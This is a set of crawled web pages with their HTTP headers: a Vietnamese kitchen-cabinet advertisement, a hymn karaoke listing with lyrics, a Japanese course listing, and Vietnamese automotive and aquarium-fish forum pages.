markdown: Tư vấn thiết kế tủ bếp an toàn.08.38159637 Ngoài yếu tố thẩm mỹ, tiện dụng, khi thiết kế tủ bếp bạn cần quan tâm đến yếu tố an toàn.Là một công ty đã có thương hiệu, uy tín trên thị trường và có kinh nghiệm nhiều năm trong lĩnh vực thiết kế, sản xuất nội thất nhà bếp, Tủ Bếp Xinh là sự lựa chọn hoàn hảo cho bạn. Với vai trò đặc biệt của tủ bếp và để đáp ứng tốt nhu cầu của khách hàng, Tủ Bếp Xinh đã không ngừng cho ra những sản phẩm tủ bếp có chất lượng cao được thiết kế theo phong cách mới nhất, đảm bảo mẫu mã đa dạng, mang đến cho khách hàng nhiều sự lựa chọn phù hợp và thích thú. Nhiều chất liệu phong phú, tủ bếp Acrylic cách phối màu tinh tế, thiết kế chữ L hiện đại Chữ I dành cho không gian bếp nhỏ hẹp, nhưng cũng không kém phần sang trọng và tiện dụng, màu đen bóng của chất liệu Acrylic, thùng MFC chống ẩm, chống mối mọt, tay nắm âm tiện dụng. Tủ bếp cao cấp Tủ bếp MFC giá cả hợp lý, chỉ 5,3tr/ml cho cả tủ bếp trên và dưới, bạn đã sở hữu 1 tủ bếp sang trọng, hoàn hảo. Khi thiết kế tủ bếp ta nên quan tâm cân nhắc đến nhiều yếu tố về tính thẩm mỹ, kiểu dáng, kích cỡ tủ bếp và sự phù hợp của nó với điều kiện căn bếp nhà mình cũng như đặc điểm người sử dụng. Trước hết cần cân đối giữa diện tích khu bếp và chiều dài của tủ. Nếu bạn biết tận dụng từng khoảng không nhỏ trong gian bếp, bạn sẽ thấy thoái mái và tiện nghi. CÔNG TY CP XD TM TTNT QUYẾT TÂM - Showroom 1: 873 Trường Chinh, P.Tây Thạnh, Q. Tân Phú, TP. HCM ( Gần cổng Khu Công Nghiệp Tân Bình ). - Showroom 2: 580 đường 3/2, P.14, Q.10 - Hotline: 08 38 159 637 - 08 38 159 639 - Fax: +84.(8) 38 12 72 67 - Hotline: 0903.837.455 - Xưởng: 875 Trường Chinh, P.Tây Thạnh, Q. Tân Phú, TP. HCM ( Gần cổng Khu Công Nghiệp Tân Bình )

X-Frame-Options: SAMEORIGIN

Set-Cookie: xf_session=b633e7c4e640127d431dc9299b7ba20d; path=/; secure; httponly

Cache-control: private, max-age=0


markdown:
## Mô tả
Karaoke 903 bài Thánh Ca HTTL-VN với độ phân giải cao cho hình ảnh full HD cực nét, phông chữ lớn và dễ nhìn để có thể thoải mái sử dụng trên mọi thiết bị kể cả điện thoại di động.
Với mong muốn tất cả mọi người Việt Nam trên khắp thế giới có thêm phương tiện tôn vinh Chúa, chúng tôi đã cố gắng để hoàn thiện abum này. Rất mong nhận được sự ủng hộ của tất cả quý vị.
Nếu có thắc mắc hoặc góp ý gì cho chúng tôi, xin hãy liên hệ www.salibook.com hoặc gởi email về info@salibook.com
Lời:
1.Ơn Chúa Giê-xu kêu tôi về,
Từ đây ly thoát bến mê;
Tuy trước ác khiên như đơn hồng,
Đời tôi đãng hoang cuồng phóng;
Từ lâu tôi tẻ đường quang minh,
Lìa Cha nhân ái diệu vinh;
Nhưng huyết Chúa xưa tuôn gội lòng,
Nay Ngài phiếu tôi sạch ròng.
2.Nay Chúa mở toang thiên môn Ngài,
Và đang âu yếm khuyên nài,
Nghinh tiếp những ai đang đi lạc,
Vào đây thứ tha tội ác;
Bao lỗi trước Chúa thật quên ngay,
Rày yên vui mãi mừng thay,
Ban thưởng tương lai trông cậy hoài,
Kim miện lãnh nơi lạc đài.
3.Cha Thánh bữa nay kêu tôi vào,
Thần Linh nôn nả ước ao,
Thiên sứ nhóm quanh thiên môn chờ,
Nhà Cha tiếp nghinh rực rỡ.
Tuyệt không ai hỏi gạn chi đâu,
Nào ai ngăn trở một câu;
Đây vốn gia hương Cha tôi mà,
Con lạc lối quay về nhà.
4.Ôi, biển yêu thương sâu vô cùng,
Hồng môn muôn thuở mở tung,
Trong lúc thương tâm châu tuôn dào,
Bằng không Chúa, tôi làm sao?
Gặp khi bao cảnh nghịch vây tôi,
Làm cho tôi thất vọng thôi,
Tay Chúa sẵn nghinh con lạc loài,
Tai nghe tiếng tôi cầu hoài.

Server: LiteSpeed

Accept-Ranges: bytes

Set-Cookie: watched_video_list=NDg0Nw%3D%3D; expires=Sun, 25-Jun-2017 15:39:53 GMT; Max-Age=86400; path=/media/

Vary: Accept-Encoding


markdown: {{getTitle()}}

Server: Apache

Access-Control-Allow-Methods: GET,POST,OPTIONS

Strict-Transport-Security: max-age=31536000; includeSubdomains

Access-Control-Allow-Credentials: false

Content-Type: text/html

Access-Control-Allow-Headers: AUTHORIZATION

Cache-Control: no-cache


markdown:
# 広島教室の講座を探す
![ 他の教室の講座も検索する](/common_rn13b/images/btn_other_n.png)
![ 他の教室の講座も検索する](/common_rn13b/images/btn_other_n.png)
- 残席状況は変動しますので、申し込み時には異なる場合があります。
- ほとんどの講座は入会が必要です。
新しく始まる講座
18時以降に始まる講座
電話か窓口にてお問い合わせください。
3講座中 1〜3件目を表示しています。
![ ピックアップ](/common_rn13b/images/icon_pickup.png)
[女性のための麻雀教室](/programs/program_1100844.html)
〜入門・ならべかた編〜
〜入門・ならべかた編〜
- 講師
- 麻雀指導講師 溜池 新吾
[マジック上達への道](/nhkcc-webapp/web/WKozaClick.do?rd=5706508&kd=1600497&td=444481)
〜テーブルマジック入門編〜
〜テーブルマジック入門編〜
- 講師
- プロマジシャン 響 仁（ヒビキ ジン）
[女性のための麻雀教室（初級・かぞえ方編）](/nhkcc-webapp/web/WKozaClick.do?rd=5706508&kd=1600522&td=1089570)
- 講師
- 麻雀指導講師 溜池 新吾
[女性のための麻雀教室](/nhkcc-webapp/web/WKozaClick.do?rd=5706508&kd=1600521&td=1100844)
〜入門・ならべかた編〜
〜入門・ならべかた編〜
- 講師
- 麻雀指導講師 溜池 新吾

WARC-Identified-Payload-Type: application/xhtml+xml

Content-Type: text/html; charset=Shift_JIS


markdown:
Dãn cách tên bằng dấu phẩy(,).
"May mắn lớn nhất của cuộc đời, không phải nhặt được tiền, cũng không phải trúng số, mà là có người có thể dẫn bạn đi đến 1 nền tảng cao hơn."
Thảo luận trong 'Đồ án kỹ thuật ô tô' bắt đầu bởi phanquoctan, 6/4/12.
Tiêu đề : Bảo dưỡng các hệ thống trên ô tô
Ngôn ngữ : Tiếng Việt
Dung lượng: 7.1 MB
Định dạng : ppt
Chúc mừng bạn đã gửi bài, nhưng bạn nên coi lại những bài của điễn đàn O-H đã gửi, không khéo bị trừ oan đó nha bạn.
diễn đàn có hướng dẫn rồi.
Cụ nên chọn hình ảnh post lên dạng đuôi gif cho nhẹ
bác có tài liệu gì hay thì nhớ chia sẻ nha..thank
Trên diễn đàn đã có hướng dẫn rồi đấy bác. Còn không bác làm như hướng dẫn sau. Dùng phần mềm chụp ảnh màn hình chụp một số ảnh tiêu biểu nhất của tài liệu sau đó bác up lên trang upanh và lấy link các ảnh đã úp sau đó trong phần bài viết để đang lên có mục chén ảnh, bác lấy các link đó để chèn vào là ok.có gì thắc mắc có thể liên hệ cho mình theo mail: binbinyeu2011@gmail.com
mình cũng biết cách up hình ...cảm ơn bạn đã chỉ giáo
[Livestream] Kỹ năng sinh viên ô tô - P1. Kỹ năng khai phá tư duy tích cực

Set-Cookie: xf_session=06567ce8ff07e58f3b10858c8d409395; path=/; secure; httponly


markdown:
Dãn cách tên bằng dấu phẩy(,).
"May mắn lớn nhất của cuộc đời, không phải nhặt được tiền, cũng không phải trúng số, mà là có người có thể dẫn bạn đi đến 1 nền tảng cao hơn."
Thảo luận trong 'Câu lạc bộ các ngành kỹ thuật' bắt đầu bởi duoc1508, 9/11/10.
[Livestream] Kỹ năng sinh viên ô tô - P1. Kỹ năng khai phá tư duy tích cực

Set-Cookie: xf_session=4949a3700841d28b728057fcc15bd894; path=/; secure; httponly


markdown:
Đăng nhập hoặc Đăng ký
Chúc mừng năm mới 2017
Yêu Thú Cưng - Vietnam's Pet Forum
Trang chủ
Diễn đàn
>
Chuyên Mục Thú Cưng Khác
>
CHUYÊN MỤC VỀ CÁ CẢNH
>
Chăm Sóc Cá Cảnh
Chăm sóc cá.
Trang 1 của 2 trang
1
2
Tiếp >
Sort by:
Tiêu đề
Ngày gửi
Trả lời
Đọc
Bài viết cuối ↓
Một số lưu ý khi chăm sóc cá bảy màu con
mrstorm2008
,
22 Tháng sáu 2017 lúc 11:05
Trả lời:
0
Đọc:
241
mrstorm2008
22 Tháng sáu 2017 lúc 11:05
Cách phòng bệnh cho cá cảnh
chrisalvn
,
23 Tháng mười một 2013
Trả lời:
1
Đọc:
2,945
thanhpho179
12 Tháng tư 2017
Vua Bài Đổi Thưởng Vinplay tổ chức chuỗi sự kiện Chào Năm Mới 2017
dodat19942
,
10 Tháng một 2017
Trả lời:
0
Đọc:
2,237
dodat19942
10 Tháng một 2017
Xây dựng Hồ Cá Koi Giá Đẹp Nhất TPHCM Với Mức Giá Hấp Dẫn
nguyenkhalinh123
,
11 Tháng mười một 2016
Trả lời:
0
Đọc:
2,275
nguyenkhalinh123
11 Tháng mười một 2016
Tác dụng của hạt lọc Kaldnes và cách lắp đặt vào hệ thống lọc
kimsuchung
,
28 Tháng mười 2016
Trả lời:
0
Đọc:
2,253
kimsuchung
28 Tháng mười 2016
Vì sao Bacteria House Momotaro được mệnh danh là loại vật liệu lọc tốt nhất Thế Giới
kimsuchung
,
16 Tháng mười 2016
Trả lời:
0
Đọc:
305
kimsuchung
16 Tháng mười 2016
cá vàng ranchu
Trần Hùng đt
,
25 Tháng một 2015
Trả lời:
6
Đọc:
3,416
Bùi Thuỳ Dung
25 Tháng chín 2016
cần giúp vấn đề sưởi ấm cho cá mùa lạnh
NguyenQuocPhan
,
27 Tháng mười hai 2011
Trả lời:
13
Đọc:
11,960
hitade
23 Tháng chín 2016
Dấu hiệu và cách chữa trị bệnh nấm mang ở cá Koi
kimsuchung
,
19 Tháng năm 2016
Trả lời:
0
Đọc:
306
kimsuchung
19 Tháng năm 2016
4 bệnh cá rồng thường hay gặp nhất
hocant
,
7 Tháng năm 2016
Trả lời:
0
Đọc:
298
hocant
7 Tháng năm 2016
Trị bệnh trùng mỏ neo trên cá chép Koi
kimsuchung
,
15 Tháng ba 2016
Trả lời:
0
Đọc:
483
kimsuchung
15 Tháng ba 2016
CÁC LOẠI BỆNH CÁ LA HÁN THƯỜNG BỊ :
Vỗ béo mèo yêu
,
24 Tháng mười hai 2008
Trả lời:
1
Đọc:
19,861
nhungdt
21 Tháng một 2016
AE nào chơi 7mầu cho mình vài đôi về gây giống !
alexnampk87
,
21 Tháng ba 2013
Trả lời:
10
Đọc:
1,282
Mylan69
13 Tháng một 2016
Làm Hồ Kiếng, Mica
viethung154
,
22 Tháng chín 2015
Trả lời:
0
Đọc:
569
viethung154
22 Tháng chín 2015
cá axolotl- khủng long 6 sừng nè mọi người!
quitruong289
,
20 Tháng tám 2015
Trả lời:
5
Đọc:
1,779
quitruong289
25 Tháng tám 2015
HN_Bán cá betta Thái!
chip91
,
1 Tháng tám 2012
Trả lời:
1
Đọc:
3,078
songtinh
6 Tháng tám 2015
Hướng dẫn chăm sóc cá cảnh
chrisalvn
,
23 Tháng mười một 2013
Trả lời:
1
Đọc:
926
Cảnh Quan Hoàng Gia
16 Tháng sáu 2015
Một số bệnh hay gặp ở cá rồng và cách chữa trị
sangsangsau
,
5 Tháng tư 2014
Trả lời:
1
Đọc:
1,112
Cảnh Quan Hoàng Gia
28 Tháng năm 2015
Cách nuôi và chăm sóc cá bảy màu
lovelybobble9xx
,
4 Tháng tám 2012
Trả lời:
4
Đọc:
5,091
Cảnh Quan Hoàng Gia
28 Tháng năm 2015
Công dụng của lá bàng khô với cá cảnh !
alexnampk87
,
7 Tháng tám 2012
Trả lời:
7
Đọc:
3,933
Cảnh Quan Hoàng Gia
28 Tháng năm 2015
cá vàng ngọc trai
Trần Hùng đt
,
25 Tháng một 2015
Trả lời:
0
Đọc:
1,097
Trần Hùng đt
25 Tháng một 2015
Mấy bạn pro giúp với sao Betta nhà mình nó không thèm ăn gì hết á
ginosilver
,
14 Tháng năm 2014
Trả lời:
0
Đọc:
534
ginosilver
14 Tháng năm 2014
mọi người giúp mình cứu bé cá hỏa tiễn với
thơm heo
,
26 Tháng tư 2014
Trả lời:
1
Đọc:
581
nguyễn vinh
27 Tháng tư 2014
Hướng dẫn 5 bước thiết lập hồ nuôi cá rồng
sangsangsau
,
24 Tháng ba 2014
Trả lời:
0
Đọc:
648
sangsangsau
24 Tháng ba 2014
dành cho người quan tâm đến cá cảnh
chrisalvn
,
28 Tháng hai 2014
Trả lời:
1
Đọc:
744
yêu_chó_baby
23 Tháng ba 2014
Chuyên thiết kế bể thủy sinh, bể cá biển, bể hải sản và thác nước trên kính
Nguyển Thanh Bình
,
28 Tháng hai 2014
Trả lời:
0
Đọc:
898
Nguyễn Thanh Bình
28 Tháng hai 2014
phòng bệnh cho cá cảnh
chrisalvn
,
27 Tháng mười một 2013
Trả lời:
0
Đọc:
760
chrisalvn
27 Tháng mười một 2013
chăm sóc và phòng bệnh cho cá cảnh
chrisalvn
,
23 Tháng mười một 2013
Trả lời:
0
Đọc:
793
chrisalvn
23 Tháng mười một 2013
Chăm sóc cá cảnh
chrisalvn
,
23 Tháng mười một 2013
Trả lời:
0
Đọc:
760
chrisalvn
23 Tháng mười một 2013
HN-xin hướng dẫn nuôi cá bây màu
NguyenQuocPhan
,
2 Tháng một 2012
Trả lời:
6
Đọc:
4,082
haonhientran
24 Tháng mười 2013
Hiển thị chủ đề từ 1 đến 30 của 58
Tùy chọn hiển thị chủ đề
Xếp chủ đề theo:
Lần gửi bài cuối
Thời gian tạo chủ đề
Tiêu đề (sắp xếp ABC)
Số lượng trả lời
Số lượt xem
Bài viết đầu được yêu thích
Xếp chủ đề kiểu:
Thứ tự giảm dần
Thứ tự tăng dần
Đang tải...
(Bạn phải Đăng nhập hoặc Đăng ký để đăng bài viết)
Show Ignored Content
Trang 1 của 2 trang
1
2
Tiếp >
Đăng nhập
Tên tài khoản hoặc địa chỉ Email:
Mật khẩu:
Bạn đã quên mật khẩu?
Duy trì trạng thái đăng nhập
Đăng Kí
Bạn chưa có tài khoản ở Yeuthucung.com ?
Click ngay vào đây để đăng kí tài khoảng trong chớp mắt !
và trở thành thành viên mới của cộng đồng người Việt Nam yêu thương vật nuôi !
Đăng Kí
Yêu Thú Cưng - Vietnam's Pet Forum
Trang chủ
Diễn đàn
>
Chuyên Mục Thú Cưng Khác
>
CHUYÊN MỤC VỀ CÁ CẢNH
>
Trang chủ
Diễn đàn
Diễn đàn
Liên kết nhanh
Tìm kiếm diễn đàn
Recent Posts
Thành viên
Thành viên
Liên kết nhanh
Notable Members
Đang truy cập
Hoạt động gần đây
New Profile Posts
Menu
Tìm kiếm
Chỉ tìm trong tiêu đề
Được gửi bởi thành viên:
Dãn cách tên bằng dấu phẩy(,).
Mới hơn ngày:
Search this forum only
Hiển thị kết quả dạng Chủ đề
Tìm kiếm hữu ích
Recent Posts
Thêm...

Server: nginx

Set-Cookie: xf_session=c8adec923f019b24e3289d4b9c2e5161; path=/; secure; httponly